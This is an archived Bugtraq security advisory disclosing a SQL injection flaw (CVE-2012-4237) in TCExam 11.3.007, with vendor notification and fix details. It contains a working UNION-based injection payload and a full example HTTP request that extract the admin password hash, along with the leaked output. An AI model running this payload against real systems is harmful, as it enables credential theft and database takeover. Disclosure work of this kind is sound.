Bugtraq mailing list archives

TCExam Edit SQL Injection


From: "research" <research () reactionis co uk>
Date: Tue, 14 Aug 2012 10:14:34 +0100

/---------------------------\
| TCExam Edit SQL Injection |
\---------------------------/


Summary
=======

TCExam 11.3.007 is prone to a SQL injection flaw located in
tce_edit_answer.php and tce_edit_question.php. These files pass a
'subject_module_id' parameter into a SQL statement without satisfactory
sanitisation. An attacker with authoring permissions could leverage this
vulnerability to take full control of the database.

CVE number: CVE-2012-4237
Impact: High
Vendor homepage: http://www.tcexam.org/
Vendor notified: 06/08/2012
Vendor fixed: 06/08/2012
Credit: Chris Cooper of Reaction Information Security
(http://www.reactionis.co.uk/)

This advisory is posted at:

http://www.reactionpenetrationtesting.co.uk/tcexam-sql-injection.html


Affected Products
======== ========

Confirmed in TCExam 11.3.007. Prior versions may also be affected.


Details
=======

The 'subject_module_id' parameters in the tce_edit_answer.php and
tce_edit_question.php pages were found to be subject to a SQL injection
vulnerability. It was possible to inject arbitrary SQL statements into a
WHERE clause, retrieving information from the database via the page output.
The attacker must be authenticated as a valid user with a permission level
of 5 or above in order for the attack to be successful.

The following payload will extract the admin password hash (some characters
may need to be URL encoded):

999999.9 union all select (select
concat(0x7e,0x27,tce_users.user_password,0x27,0x7e) from `tcexam`.tce_users
where tce_users.user_name = CHAR(97,100,109,105,110) limit 0,1)
,0x0,0x0,0x0,0x0,0x0--

---
Example Request:
+---------------

GET
/TCExam/admin/code/tce_edit_answer.php?subject_module_id=999999.9+union+all+
select+%28select+concat%280x7e%2C0x27%2Ctce_users.user_password%2C0x27%2C0x7
e%29+from+%60tcexam%60.tce_users+where+tce_users.user_name+%3d+CHAR(97,100,1
09,105,110)+limit+0%2C1%29+%2C0x0%2C0x0%2C0x0%2C0x0%2C0x0--&question_subject
_id=3&answer_question_id=7 HTTP/1.1
Host: 192.168.0.6
Referer: http://192.168.0.6/TCExam/admin/code/tce_edit_question.php
Cookie: PHPSESSID=db1fe2b665994ff76356e7a28abfa5df

---
Example Response:
+----------------

--- SNIP ---
<select name="question_subject_id" id="question_subject_id" size="0"
onchange="document.getElementById('form_answereditor').changesubject.value=1
; document.getElementById('form_answereditor').submit();" title="test
topic"> <option value="~'c574b5b09ab10f4f39ae9dce6d539cf0'~">1. -
[%00]</option> </select>
--- SNIP ---

Impact
======

An authenticated user with a permission level of 5 or higher could take full
control of the database, essentially allowing them to escalate their
privileges by either directly controlling the database, cracking an
administrator password or potentially changing their own permission level.
Furthermore, an attacker might be able to leverage this vulnerability in
order to further compromise the host machine.

Solution
========

Upgrade to TCExam 11.3.008.


Distribution
============

In addition to posting on the website, a text version of this notice has
been posted to the following e-mail and Usenet news recipients.

* bugtraq () securityfocus com
* full-disclosure () lists grok org uk
 

Future updates of this advisory, if any, will be placed on the ReactionIS
corporate website, but may or may not be actively announced on mailing lists
or newsgroups. Users concerned about this problem are encouraged to check
the URL below for any updates:


http://www.reactionpenetrationtesting.co.uk/tcexam-sql-injection.html

============================================================================
==

Reaction Information Security 
Lombard House Business Centre,
Suite 117,
12-17 Upper Bridge Street,
Canterbury, Kent, CT1 2NF

Phone: +44 (0)1227 785050
Email: research () reactionis {dot} co {dot} uk
Web: http://www.reactionpenetrationtesting.co.uk


Current thread: